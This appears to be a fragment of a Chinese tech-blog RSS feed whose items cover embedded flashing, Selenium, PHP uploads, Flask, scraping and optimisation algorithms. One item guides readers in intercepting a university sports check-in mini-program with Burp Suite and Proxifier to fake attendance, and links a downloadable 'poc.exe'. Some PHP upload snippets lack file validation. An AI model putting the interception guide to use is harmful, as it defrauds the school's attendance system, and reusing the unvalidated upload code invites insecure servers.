1、boot程序下载，将官方提供的boot程序编译完成后，将程序下载至demo板上，官方使用的使用的CANFD6进行升级的。USB端口可以打印串口数据至电脑端查看。当我们下载完成后，串口数据打印出来如下图： 2、先将APP程序进行编译。can卡和板子连接完好。然后对ZCANPRO进行配置，步骤：打开CANPRO软件，打开设备，设置成500k，其他不在赘述。连接完成后我们选择 高级功能 — ECU刷新 其他配置可以参考下图： 可以自行对照此流程在左边的方框内进行添加流程，配置文件下载时，加载HEX时按照图示配置即可。配置完成后点击 应用到执行器 ， 弹出如下弹框后 点击 开始刷写 ，即可开始刷写。</description>
    </item>
    <item>
      <title>Selenium3-获取元素的css属性</title>
      <link>https://bchobby.github.io/posts/1bab059962ed9c30713a8d5daca275ef/</link>
      <pubDate>Mon, 30 Oct 2023 14:20:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1bab059962ed9c30713a8d5daca275ef/</guid>
      <description> 来个元素CSS值&#xA;代码1:&#xA;通过javaScript执行脚本获取css值&#xA;String jsStr = &#34;return document.getElementById(\&#34;buyers\&#34;).style.getPropertyValue(&#39;width&#39;)&#34;; Object o = ((JavascriptExecutor) driver).executeScript(jsStr); System.out.println(o.toString()); 代码2:&#xA;通过内置API获取元素属性值&#xA;//获取元素属性值 WebElement element=page.Buyers; String original_style = element.getAttribute(&#34;style&#34;); System.out.println(original_style); </description>
    </item>
    <item>
      <title>史上最全的立创元器件封装库导入AD详细教程(一直白嫖一直爽)</title>
      <link>https://bchobby.github.io/posts/3cc4dad76a4e919b522fa11fc0667041/</link>
      <pubDate>Mon, 30 Oct 2023 14:20:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3cc4dad76a4e919b522fa11fc0667041/</guid>
      <description> 史上最全的立创元器件封装库导入AD详细教程 立创EDA 立创商城 打开立创商城网站https://www.szlcsc.com/ 步骤 搜索元器件 例如搜索STM32F103C8T6芯片 查看搜索结果，寻找下载文件 点击下载文件链接 出现如下图片情况，点击立即使用 出现了工程文件，记得注册账号，保存到自己的工程 如下图操作分别保存SCH，PCB文件到电脑本地文件中 点击 否 导出Altium,然后同意下载到本地电脑 下载到本地，重命名（最好） 打开AD软件，打开下载好的文件，生成库文件 生成SchLib，PcbLib文件 打开SchLIb文件添加PCB文件的封装库（我们不用这个方法） 新建一个Integrated_Library文件，填入名称路径 生成如下图文件 然后添加刚刚导出的文件SchLib，PcbLib 然后生成Integrated_Library文件 右边出现文件库（基本结束） 创建一个新的PCB工程看看是否成功能够使用 选择自己的库文件 生成PCB文件 到此为止，搞定（基本上没有问题，如果有问题可以去百度或者谷歌，我也是第一次搞，可能有没有注意的地方） 参考资料 立创商城网站https://www.szlcsc.com/学习AD绘制PCB 推荐一个哔哩哔哩UP主的视频（视频特点：简单 清晰 手把手教学）&#xA;https://www.bilibili.com/video/BV1zE411q72a立创EDA学习使用教程https://space.bilibili.com/430536057?from=search&amp;amp;seid=11621685439202966618 </description>
    </item>
    <item>
      <title>Selenium3-当元素通过@FindBy获取时，返回元素为null</title>
      <link>https://bchobby.github.io/posts/21ea7e3e1b3e004cdb9fcf29f2426e80/</link>
      <pubDate>Mon, 30 Oct 2023 14:07:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/21ea7e3e1b3e004cdb9fcf29f2426e80/</guid>
      <description>报错:&#xA;在获取元素的js属性时一直获取不到，报空指针，定位到元素时，发现是@FindBy的元素没有找到&#xA;解决方法:&#xA;在page类的构造函数中加上了 界面初始化，让元素先隐式加载，这样就不会出现返回元素为空的情况辣&#xA;PageFactory.initElements(driver,this); 调整后的代码:</description>
    </item>
    <item>
      <title>AOP中连接点JoinPoint对象的使用</title>
      <link>https://bchobby.github.io/posts/a953534a13c963ae168e78f604adce3f/</link>
      <pubDate>Mon, 30 Oct 2023 14:04:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a953534a13c963ae168e78f604adce3f/</guid>
      <description>* JoinPoint对象用于获取切面对象上下文信息，Aop将连接点的上下文信息封装为JoinPoint对象 * 通过JoinPoint对象可以获取到执行方法的相关信息，参数信息，代理对象的信息等。 * JoinPoint对象主要有以下几个方法 * getTarget()：获取被代理的对象信息 * getThis()：获取代理对象自己的信息 * getgetArgs():获取传入该方法的参数信息 * getSignature()：获取执行方法的信息，通过该方法可以获取到方法名称，方法的类名和全类名，方法的声明类型等，如下 * getSignature().getName():获取方法名称 * getSignature().getModifiers():获取方法的声明类型 * getSignature().getDeclaringTypeName()：获取执行方法所属类的类名 * getSignature().getDeclaringType().getSimpleName()：取执行方法所属类的简单类名 * * 其中： * 环绕通知的参数为ProceedingJoinPoint，该对象是JoinPoint的子接口，新增了两个方法，proceed()和proceed(Object[] args) * 在环绕通知中，可以直接通过proceed()方法获取到方法执行之后的返回结果。 * 并且在环绕通知中，必须调用proceed()方法来执行目标方法，否则会造成通知执行了，目标方法没执行。 * 总的来说，在环绕通知中，目标方法是否执行， 你可以理解为是否调用了proceed()方法。 * 环绕通知的方法需要返回目标方法执行之后的结果。如果你在环绕通知中没有调用proceed()方法获取目标方法的返回值结果，会报空指针。 * 如果你使用了proceed(Object[] args)这个方法，它会使用args作为新的参数去执行目标方法。 package com.dong.aspect; import lombok.extern.slf4j.Slf4j; import org.aspectj.lang.JoinPoint; import org.aspectj.lang.ProceedingJoinPoint; import org.aspectj.lang.Signature; import org.aspectj.lang.annotation.*; import org.junit.jupiter.api.parallel.Execution; import org.springframework.stereotype.Component; import java.lang.reflect.Array; import java.lang.reflect.Modifier; import java.util.Arrays; import java.util.List; @Aspect @Slf4j @Component public class Longger { @Pointcut(value = &#34;</description>
    </item>
    <item>
      <title>php 上传文件夹</title>
      <link>https://bchobby.github.io/posts/4b4c869564f4aca341005fe1463bcef9/</link>
      <pubDate>Mon, 30 Oct 2023 13:52:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4b4c869564f4aca341005fe1463bcef9/</guid>
      <description>如果您是一位经常使用PHP的开发者，那么您肯定会经常遇到需要上传文件夹的情况。PHP作为一种强大的服务器脚本语言，可以很轻松地实现上传文件的功能。但是，当需要上传一个包含多个文件的文件夹时，就需要一些特殊的技巧。&#xA;在PHP中，上传文件夹可以通过多种方式来实现。最简单的方法是使用Zip文件将文件夹压缩，然后通过PHP将Zip文件上传到服务器。然后解压该文件夹并逐个保存其中的文件。以下是一个简单的PHP代码示例，可以将Zip文件解压缩到指定的目录：&#xA;$zip = new ZipArchive; $res = $zip-&amp;gt;open(&#39;example.zip&#39;); if ($res === TRUE) { $zip-&amp;gt;extractTo(&#39;/destination/path/&#39;); $zip-&amp;gt;close(); echo &#39;文件解压成功！&#39;; } else { echo &#39;文件解压失败…&#39;; } 此外，还有一种方法是使用PHP的递归函数来上传文件夹。递归函数是一种可以在函数内调用自身的函数，用于处理需要重复进行的操作。以下是一个简单的递归函数示例，可以将整个文件夹上传到服务器：&#xA;function upload_folder($folder, $remote_folder) { if ($handle = opendir($folder)) { while (false !== ($entry = readdir($handle))) { if ($entry != &#34;.&#34; &amp;amp;&amp;amp; $entry != &#34;..&#34;) { if (is_dir(&#34;$folder/$entry&#34;)) { ftp_mkdir($conn_id, &#34;$remote_folder/$entry&#34;); upload_folder(&#34;$folder/$entry&#34;, &#34;$remote_folder/$entry&#34;); } else { ftp_put($conn_id, &#34;$remote_folder/$entry&#34;, &#34;$folder/$entry&#34;, FTP_BINARY); } } } closedir($handle); } } 使用递归函数来上传文件夹时，一定要注意考虑到文件夹路径的正确性，以及服务器上文件夹的权限问题。</description>
    </item>
    <item>
      <title>VS Code配置Keil编辑环境（个人记录）</title>
      <link>https://bchobby.github.io/posts/e41280b7422fb813cfd59625a7df5274/</link>
      <pubDate>Mon, 30 Oct 2023 12:37:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e41280b7422fb813cfd59625a7df5274/</guid>
      <description>一、VSCode安装 官网下载地址： https://code.visualstudio.com/&#xA;双击setup.exe运行安装程序，简易式安装，全点下一步就行，按需更改安装路径&#xA;二、插件安装 在插件商店中搜索以下插件并安装&#xA;配置Keil Asistant插件，在图示位置输入自己电脑上的Keil完整安装路径&#xA;配置完成后就可以打开Keil工程进行编辑（仅编辑，编辑完成后如需运行或编译生成可执行文件，还是需要在keil中进行）&#xA;三、“未定义标识符”问题解决 打开keil工程后，代码出现“未定义标识符”时，其中一个解决办法是添加以下代码&#xA;&#34;C_Cpp.intelliSenseEngineFallback&#34;: &#34;Disabled&#34;, &#34;C_Cpp.intelliSenseEngine&#34;: &#34;Tag Parser&#34;, 添加方式</description>
    </item>
    <item>
      <title>php文件上传步骤是什么</title>
      <link>https://bchobby.github.io/posts/be5a989d7432345a7bb31dfa54d438e3/</link>
      <pubDate>Mon, 30 Oct 2023 11:29:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/be5a989d7432345a7bb31dfa54d438e3/</guid>
      <description>第一步：创建一个文件上传表单&#xA;允许用户从表单上传文件是非常有用的。&#xA;请看下面这个供上传文件的 HTML 表单：&#xA;&amp;lt;html&amp;gt; &amp;lt;body&amp;gt; &amp;lt;form action=&#34;upload_file.php&#34; method=&#34;post&#34; enctype=&#34;multipart/form-data&#34;&amp;gt; &amp;lt;label for=&#34;file&#34;&amp;gt;Filename:&amp;lt;/label&amp;gt; &amp;lt;input type=&#34;file&#34; name=&#34;file&#34; id=&#34;file&#34; /&amp;gt; &amp;lt;br /&amp;gt; &amp;lt;input type=&#34;submit&#34; name=&#34;submit&#34; value=&#34;Submit&#34; /&amp;gt; &amp;lt;/form&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; 请留意如下有关此表单的信息： 标签的 enctype 属性规定了在提交表单时要使用哪种内容类型。在表单需要二进制数据时，比如文件内容，请使用 “multipart/form-data”。&#xA;标签的 type=“file” 属性规定了应该把输入作为文件来处理。举例来说，当在浏览器中预览时，会看到输入框旁边有一个浏览按钮。&#xA;注释：允许用户上传文件是一个巨大的安全风险。请仅仅允许可信的用户执行文件上传操作。&#xA;第二步：创建上传脚本&#xA;“upload_file.php” 文件含有供上传文件的代码：&#xA;&amp;lt;?php if ($_FILES[&#34;file&#34;][&#34;error&#34;] &amp;gt; 0) { echo &#34;Error: &#34; . $_FILES[&#34;file&#34;][&#34;error&#34;] . &#34;&amp;lt;br /&amp;gt;&#34;; } else { echo &#34;Upload: &#34; . $_FILES[&#34;file&#34;][&#34;name&#34;] . &#34;&amp;lt;br /&amp;gt;&#34;; echo &#34;Type: &#34; . $_FILES[&#34;</description>
    </item>
    <item>
      <title>php怎么实现文件夹上传文件</title>
      <link>https://bchobby.github.io/posts/ba32a302c4d760a3b4aa3192bf5bed65/</link>
      <pubDate>Mon, 30 Oct 2023 09:55:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ba32a302c4d760a3b4aa3192bf5bed65/</guid>
      <description>随着互联网的发展，网络应用程序也变得越来越普及。WEB应用程序成为一种非常受欢迎的应用程序开发模式。而PHP语言是一种非常出色的WEB编程语言。随着PHP语言的发展，PHP的功能也越来越强大。其中，文件上传就是PHP语言中非常重要的一个功能。在PHP编写的WEB应用程序开发过程中，经常会出现文件上传的需求。本文将介绍使用PHP实现文件夹上传文件的方法，希望对大家有所帮助。&#xA;一、什么是文件上传？&#xA;文件上传是指将本地计算机上的文件传输到远程服务器上的过程。上传的文件可以是各种类型，例如文本文件、图像文件、音频文件、视频文件等等。在WEB应用程序中，通常需要实现浏览器端将文件上传到WEB服务器的功能，以满足用户上传文件的需求。&#xA;二、PHP实现文件上传的方式&#xA;PHP提供了两种方式来实现文件上传：&#xA;HTML表单提交方式&#xA;通过在HTML表单中添加一个type为&#34;file&#34;的元素，用户可以在浏览器中选择本地计算机上的文件，然后通过HTTP请求的方式将文件上传到WEB服务器上。PHP通过$_FILES数组可以获取上传的文件信息。上传的文件在服务器端会被保存到一个临时文件夹中，可以使用move_uploaded_file函数将文件转移到指定的文件夹中。&#xA;使用HTML表单提交方式实现文件上传的代码如下：&#xA;&amp;lt;form action=&#34;upload.php&#34; method=&#34;post&#34; enctype=&#34;multipart/form-data&#34;&amp;gt; &amp;lt;input type=&#34;file&#34; name=&#34;file&#34; /&amp;gt; &amp;lt;input type=&#34;submit&#34; value=&#34;上传文件&#34; /&amp;gt; &amp;lt;/form&amp;gt; &amp;lt;?php if($_FILES[&#34;file&#34;][&#34;error&#34;] &amp;gt; 0){ echo &#34;Error: &#34; . $_FILES[&#34;file&#34;][&#34;error&#34;] . &#34;&amp;lt;br /&amp;gt;&#34;; } else { echo &#34;上传文件名: &#34; . $_FILES[&#34;file&#34;][&#34;name&#34;] . &#34;&amp;lt;br /&amp;gt;&#34;; echo &#34;文件类型: &#34; . $_FILES[&#34;file&#34;][&#34;type&#34;] . &#34;&amp;lt;br /&amp;gt;&#34;; echo &#34;文件大小: &#34; . ($_FILES[&#34;file&#34;][&#34;size&#34;] / 1024) . &#34; Kb&amp;lt;br /&amp;gt;&#34;; echo &#34;临时文件名: &#34; . $_FILES[&#34;file&#34;][&#34;tmp_name&#34;] . &#34;</description>
    </item>
    <item>
      <title>Python第三方库 - Flask(python web框架)</title>
      <link>https://bchobby.github.io/posts/05fad25c4e9276261fe97a8e14ee46d5/</link>
      <pubDate>Mon, 30 Oct 2023 09:22:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/05fad25c4e9276261fe97a8e14ee46d5/</guid>
      <description>1 Flask 1.1 认识Flask Web Application Framework（ Web 应用程序框架）或简单的 Web Framework（ Web 框架）表示一个库和模块的集合，使 Web 应用程序开发人员能够编写应用程序，而不必担心协议，线程管理等低级细节。&#xA;1.2 Pycharm安装与简单测试 1.2.1 安装 Pycharm 安装 Flask 框架&#xA;File → Settings → Project: [project name] → Project Interpreter&#xA;1.2.2 简单测试 运行下面代码，打开http://127.0.0.1:5000的链接&#xA;from flask import Flask # __name__:代表当前模块,app为类的实例 app = Flask(__name__) # 创建一个路由和视图函数的映射 @app.route(&#39;/&#39;) def hello_world(): return &#39;Hello World&#39; if __name__ == &#39;__main__&#39;: app.run() #app.run(host=&#39;0.0.0.0&#39;, port=5000) 1.2.3 Debug模式(热更新) Debug 模式从控制台可以看见&#xA;Pycharm 专业版开启方法：&#xA;右上角的项目名称 → Edit Configurations → 勾选FLASK_DEBUG选项 → 重启项目</description>
    </item>
    <item>
      <title>python爬虫简单爬取一个免费的小说网站</title>
      <link>https://bchobby.github.io/posts/81c613e04c634fd2925bc733767a264b/</link>
      <pubDate>Mon, 30 Oct 2023 09:03:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/81c613e04c634fd2925bc733767a264b/</guid>
      <description>python爬虫爬取一个免费的小说网站 首先，我们导入需要的包 import requests from bs4 import BeautifulSoup import re import json 创建header头 headers={ # 浏览器基本信息 &#39;User-Agent&#39;: &#39;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36 Edg/118.0.2088.69&#39; } 创建data参数，保证在点击下一面时得到要获取的数据 我们观察刷新后的两张图片，可以看出最后两项的数据不同，也就是data参数&#xA;data = { &#39;ajx&#39;: &#39;1&#39;, &#39;menu&#39;: &#39;novel&#39;, &#39;id&#39;: &#39;372513&#39;, &#39;action&#39;: &#39;intro&#39;, &#39;order&#39;: &#39;date&#39;, &#39;bookmark&#39;: &#39;&#39;, &#39;page&#39;:f&#39;{2+i}&#39;, &#39;_&#39;:f&#39;{1698588100098+i}&#39; } 调用request函数并用json格式保存 url在表头获取&#xA;res=requests.get(f&#39;https://mm.munpia.com/?ajx=1&amp;amp;menu=novel&amp;amp;id=372513&amp;amp;action=intro&amp;amp;order=date&amp;amp;bookmark=&amp;amp;page={i+2}&amp;amp;_={1698588100098+i}&#39;,headers=headers,data=data) # print(res.text) json_data = json.loads(res.text) 使用for循环从数组中获取每个子网址的ID，拼接网址，利用select获取需要的小说内容，最后写入txt文件中。&#xA;for item in json_data[&#39;list&#39;]: url=&#39;https://mm.munpia.com/?menu=novel&amp;amp;action=view&amp;amp;id=372513&amp;amp;entry_id=&#39;+(item[&#39;neSrl&#39;]) print(url) res = requests.get(url) bs = BeautifulSoup(res.</description>
    </item>
    <item>
      <title>【启发式算法】白鲸优化算法【附python实现代码】</title>
      <link>https://bchobby.github.io/posts/530ce40e9e68c933db2be655be86e5e5/</link>
      <pubDate>Sun, 29 Oct 2023 17:47:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/530ce40e9e68c933db2be655be86e5e5/</guid>
      <description>写在前面：&#xA;首先感谢兄弟们的订阅，让我有创作的动力，在创作过程我会尽最大能力，保证作品的质量，如果有问题，可以私信我，让我们携手共进，共创辉煌。&#xA;路虽远，行则将至；事虽难，做则必成。只要有愚公移山的志气、滴水穿石的毅力，脚踏实地，埋头苦干，积跬步以至千里，就一定能够把宏伟目标变为美好现实。&#xA;1.介绍 白鲸优化算法(Beluga whale optimization, BWO)是2022年提出的一种元启发式优化算法，其灵感来源于白鲸的生活行为。白鲸以成年鲸的纯白色而闻名，是高度群居的动物，它们可以成群聚集，有2到25个成员，平均有10个成员。与其他元启发式方法类似，BWO包含探索阶段和开发阶段，此外该算法还模拟了生物界中存在的鲸落现象。&#xA;论文：&#xA;Zhong C, Li G, Meng Z. Beluga whale optimization: A novel nature-inspired metaheuristic algorithm[J]. Knowledge-Based Systems, 2022, 109215.&#xA;2.算法流程 BWO流程图：&#xA;2.1 种群初始化 白鲸优化算法是基于种群的机制，将每条白鲸假设为一个候选解，并在优化过程中进行不断更新，则种群初始化位置为：&#xA;2.2 探索阶段 2.3 开发阶段 开发阶段的灵感来自于白鲸的捕食行为，白鲸可以根据附近白鲸合作觅食和位置移动。假设可以通过 Levy 飞行策略捕捉猎物，其公式为：&#xA;2.4 鲸鱼坠落 为了模拟每次迭代中鲸鱼坠落行为，从种群中选择一个鲸鱼坠落的概率，来模拟群体中的变化。白鲸要么转移到其它地方，要么被击落并掉入深海。为保证种群数量不变，通过利用白鲸位置和鲸鱼坠落步长更新鲸鱼位置，公式如下：&#xA;式中，鲸鱼坠落的概率从初始迭代的 0.1 下降到最后一次迭代的 0.05 ，说明当白鲸在优化过程中更接近食物源时，白鲸的就会危险降低。&#xA;3.代码 BWO代码：&#xA;import numpy as np import math from copy import deepcopy import matplotlib.pyplot as plt &#39;&#39;&#39; 白鲸优化算法 参数 n：白鲸种群大小 tmax：最大迭代次数 lb：变量下限 ub：变量上限 nd：变量维数 fobj：目标函数 &#39;&#39;&#39; # 白鲸优化算法 def bwo(n, tmax, lb, ub, nd, fobj): # 记录每轮更新最优解 best_fval = [] # 位置矩阵 x = lb + np.</description>
    </item>
    <item>
      <title>Python实现哈里斯鹰优化算法(HHO)优化卷积神经网络分类模型(CNN分类算法)项目实战</title>
      <link>https://bchobby.github.io/posts/8a1b84d6568a4bb1e735e054f4502ca4/</link>
      <pubDate>Sun, 29 Oct 2023 17:38:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a1b84d6568a4bb1e735e054f4502ca4/</guid>
      <description>说明：这是一个机器学习实战项目（附带数据+代码+文档+视频讲解），如需数据+代码+文档+视频讲解可以直接到文章最后获取。&#xA;1.项目背景 2019年Heidari等人提出哈里斯鹰优化算法(Harris Hawk Optimization, HHO)，该算法有较强的全局搜索能力，并且需要调节的参数较少的优点。&#xA;本项目通过HHO哈里斯鹰优化算法寻找最优的参数值来优化CNN分类模型。&#xA;2.数据获取 本次建模数据来源于网络(本项目撰写人整理而成)，数据项统计如下：&#xA;数据详情如下(部分展示)：&#xA;3.数据预处理 3.1 用Pandas工具查看数据 使用Pandas工具的head()方法查看前五行数据：&#xA;关键代码：&#xA;3.2数据缺失查看 使用Pandas工具的info()方法查看数据信息：&#xA;从上图可以看到，总共有11个变量，数据中无缺失值，共2000条数据。&#xA;关键代码：&#xA;3.3数据描述性统计 通过Pandas工具的describe()方法来查看数据的平均值、标准差、最小值、分位数、最大值。&#xA;关键代码如下：&#xA;4.探索性数据分析 4.1 y变量柱状图 用Matplotlib工具的plot()方法绘制直方图：&#xA;4.2 y=1样本x1变量分布直方图 用Matplotlib工具的hist()方法绘制直方图：&#xA;4.3 相关性分析 从上图中可以看到，数值越大相关性越强，正值是正相关、负值是负相关。&#xA;5.特征工程 5.1 建立特征数据和标签数据 关键代码如下：&#xA;5.2 数据集拆分 通过train_test_split()方法按照80%训练集、20%测试集进行划分，关键代码如下：&#xA;5.3 数据样本增维 数据样本增加维度后的数据形状：&#xA;6.构建HHO哈里斯鹰优化算法优化CNN分类模型 主要使用HHO哈里斯鹰优化算法优化CNN分类算法，用于目标分类。&#xA;6.1 HHO哈里斯鹰优化算法寻找的最优参数 关键代码：&#xA;每次迭代的过程数据：&#xA;最优参数：&#xA;6.2 最优参数值构建模型 6.3 最优参数模型摘要信息 6.4 最优参数模型网络结构 6.5 最优参数模型训练集测试集损失和准确率曲线图 7.模型评估 7.1 评估指标及结果 评估指标主要包括准确率、查准率、查全率、F1分值等等。&#xA;从上表可以看出，F1分值为0.9412，说明模型效果较好。&#xA;关键代码如下：&#xA;7.2 分类报告 从上图可以看出，分类为0的F1分值为0.94；分类为1的F1分值为0.94。&#xA;7.3 混淆矩阵 从上图可以看出，实际为0预测不为0的 有19个样本；实际为1预测不为1的 有4个样本，整体预测准确率良好。</description>
    </item>
    <item>
      <title>React 你还在用 Redux 吗？更简化的状态管理工具（Recoil）</title>
      <link>https://bchobby.github.io/posts/f88c4a08d4ad1c83855f85205936a01d/</link>
      <pubDate>Sun, 29 Oct 2023 16:38:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f88c4a08d4ad1c83855f85205936a01d/</guid>
      <description>以往传统的 Redux 状态管理工具使用起来代码太过于复杂。&#xA;你需要通过纯函数触发 action 再去修改 data 中定义的数据，而且要通过接口请求数据还需要借助 redux - think 这个中间件才能完成。。。&#xA;更加方便使用的工具：Recoil ~ 由 facebook 推出契合 React 的状态管理&#xA;它的定义方式和 useState 这个 HOOK 非常像，你可以更加简化的完成你的全局数据共享&#xA;pnpm install recoil yarn install recoil npm install recoil&#xA;安装好这个工具之后直接开始使用，需要引入之后包裹你的根组件 import React from &#39;react&#39;; // 引入 Recoil 在 main.tsx 中包裹住你的根组件 import { RecoilRoot, atom, selector, useRecoilState, useRecoilValue, } from &#39;recoil&#39;; function App() { return ( // 此处包裹 &amp;lt;RecoilRoot&amp;gt; &amp;lt;CharacterCounter /&amp;gt; &amp;lt;/RecoilRoot&amp;gt; ); } 这一步做好之后，你可以在 src 文件之下定义 store（仓库）文件夹，名字随便起，按照自己喜欢的来（前提取的名字不要太骚被你的领导叫去喝茶）</description>
    </item>
    <item>
      <title>【ESP32】esp32无法挂载sd卡</title>
      <link>https://bchobby.github.io/posts/f26f1a1876c4f3563e05b0103c3cc1c7/</link>
      <pubDate>Sun, 29 Oct 2023 11:14:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f26f1a1876c4f3563e05b0103c3cc1c7/</guid>
      <description>进行挂载时错误提示：&#xA;Failed to mount filesystem.&#xA;If you want the card to be formatted, set the EXAMPLE_FORMAT_IF_MOUNT_FAILED menuconfig option.&#xA;后面还有一条红字：&#xA;Failed to initialize the card Failed to initialize the card Make sure SD card lines have pull-up resistors in place. Make sure SD card lines have pull-up resistors in place. 这是提示我没有上拉的意思，但是我仔细检查了以下。明明上拉了呀。网上有人说是因为IO2引脚启动电平的问题，我看了下IO2引脚是悬空的，启动后进行上拉符合条件。。。。。就在我抓狂的时候，突然发现挂载点目录不对。格式错了，啊啊啊啊啊啊 没想到啊，差一个“/”也无法挂载。。。。。。。。。。&#xA;#define MOUNT_POINT &#34;/sdcard&#34;//正确挂载点 #define MOUNT_POINT &#34;sdcard&#34;//错误挂载点 把“/”符号加上，成功运行。</description>
    </item>
    <item>
      <title>Python环境下LaTeX数学公式转图像方案调研与探讨</title>
      <link>https://bchobby.github.io/posts/a9757bdf878e30dcf2c09e4c5825824b/</link>
      <pubDate>Sat, 28 Oct 2023 22:15:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a9757bdf878e30dcf2c09e4c5825824b/</guid>
      <description>目录 引言方案一：基于LaTeX环境方案二：基于KaTeX(推荐) 方案三：基于Matplotlib写在最后 引言 近来，涉及到一些公式识别的项目，输入是公式的图像，输出是LaTeX格式的数学公式字符串。&#xA;这类项目一般都采用深度学习的方法来做，这就涉及到构造公式LaTeX字符串和对应渲染后图像的数据集。来训练模型。&#xA;经过调研，这种数据来源一般有两种，一是人工标注；二是合成。鉴于训练模型所需庞大的数据量，优先考虑合成这种数据。而合成这种数据集时，就需要将公式的LaTeX字符串渲染为公式的图像，如下图所示：&#xA;为此，我做了一些调研，寻求可以实现以上这种效果的方案。&#xA;方案一：基于LaTeX环境 该方案需要安装LaTeX环境，MacOS下的安装包大概有5.2G左右。&#xA;优点是支持所有的LaTeX文档的渲染，缺点是环境太占地了。&#xA;如果使用场景涉及到公式的复杂和多样性，则有必要安装这个环境，然后采用python调用渲染。&#xA;具体操作文档，大家可以去网上搜索一番，我这里就不在再赘述。&#xA;方案二：基于KaTeX KaTeX 是一个快速，易于使用的JavaScript库，用于在Web上进行TeX数学渲染。支持大部分LaTeX语法。&#xA;基于KaTeX方案合成训练所用数据集的方案，只是我的构想，可以单独启动一个支持公式渲染的KaTeX的服务，然后python调用这个服务，输入公式LaTeX字符串，返回渲染后的数学公式图像。&#xA;值得说明的是，我并没有真正尝试这种方案，但是是具有可行性的，同时我在Github上并没有找到这种方案的项目。&#xA;(推荐) 方案三：基于Matplotlib 基于Matlplotib的方案，我是比较倾向这种方案的，不用额外安装LaTeX环境，因为Matplotlib 实现了一个轻量级的 TeX 表达式解析器和布局引擎，Mathtext 是该引擎支持的 Tex 标记的子集。这一部分的详细介绍，可参见官方文档：Writing mathematical expressions&#xA;使用例子：&#xA;import matplotlib.pyplot as plt fig = plt.figure(figsize=(3, 3), linewidth=1, edgecolor=&#39;black&#39;) fig.text(.2, .7, &#34;plain text: alpha &amp;gt; beta&#34;) fig.text(.2, .5, &#34;Mathtext: $\\alpha &amp;gt; \\beta$&#34;) fig.text(.2, .3, r&#34;raw string Mathtext: $\alpha &amp;gt; \beta$&#34;) 渲染结果如下：&#xA;不需要安装 TeX 即可使用 Mathtext，因为 Matplotlib 附带了 Mathtext 解析器和引擎。 Mathtext 布局引擎是对 Donald Knuth 的 TeX 中布局算法的相当直接的改编。</description>
    </item>
    <item>
      <title>齐鲁工业大学 觅幂小程序打卡</title>
      <link>https://bchobby.github.io/posts/1bc742c2839101c02f8645a9e53cec3c/</link>
      <pubDate>Sat, 28 Oct 2023 21:46:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1bc742c2839101c02f8645a9e53cec3c/</guid>
      <description>齐鲁工业大学 觅幂小程序打卡 github 地址 可以去github看一眼&#xA;https://github.com/wanan0red/qlu_mimi_sport 操作有点复杂 不过一次操作 一直方便 系统不重启可以用两年 当然用模拟器也是可以的&#xA;用到的软件我都传到了 百度网盘 如果不放心软件 可以自行下载安装 其中的poc.exe 中有 .py源码 可以以源码形式运行&#xA;还不会的可以联系我(有想学网安的也可以哦) 1498032121@qq.com&#xA;链接：https://pan.baidu.com/s/1a6aiF2rYJSjt5HJddqboeA?pwd=6rjx 提取码：6rjx 首先我们需要先下载一个电脑版的微信&#xA;我们首先需要安装 burpsuite&#xA;https://portswigger.net/burp/releases 可以去官网下载&#xA;一定要选择社区版&#xA;双击安装 一直下一步就行了&#xA;没有给我们创建快捷方式 我们点击开始菜单打开&#xA;成功启动 接着我们 点击proxy 点击 intercept 接着点击 open brower 在打开的浏览器里面输入 打开一个网站之后 点击 ca certificate&#xA;http://burpsuite/ 接着我们双击 按照这个der&#xA;接着点击完成 点是即可&#xA;安装 proxifier.exe&#xA;双击proxifier.exe 安装一直下一步就行&#xA;接着打开 proxifier 选择代理服务器&#xA;依次填入即可&#xA;接着点击代理规则&#xA;这里选择 直接连接 接着点击添加&#xA;接着填入下面的域名 然后确定即可&#xA;admin.report.mestallion.com 最后的代理规则&#xA;接着我们来登录微信&#xA;搜索觅幂并打开</description>
    </item>
    <item>
      <title>说说防蚊子</title>
      <link>https://bchobby.github.io/posts/2a1ab0552875d2ca83069bff0692e720/</link>
      <pubDate>Sat, 28 Oct 2023 21:09:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a1ab0552875d2ca83069bff0692e720/</guid>
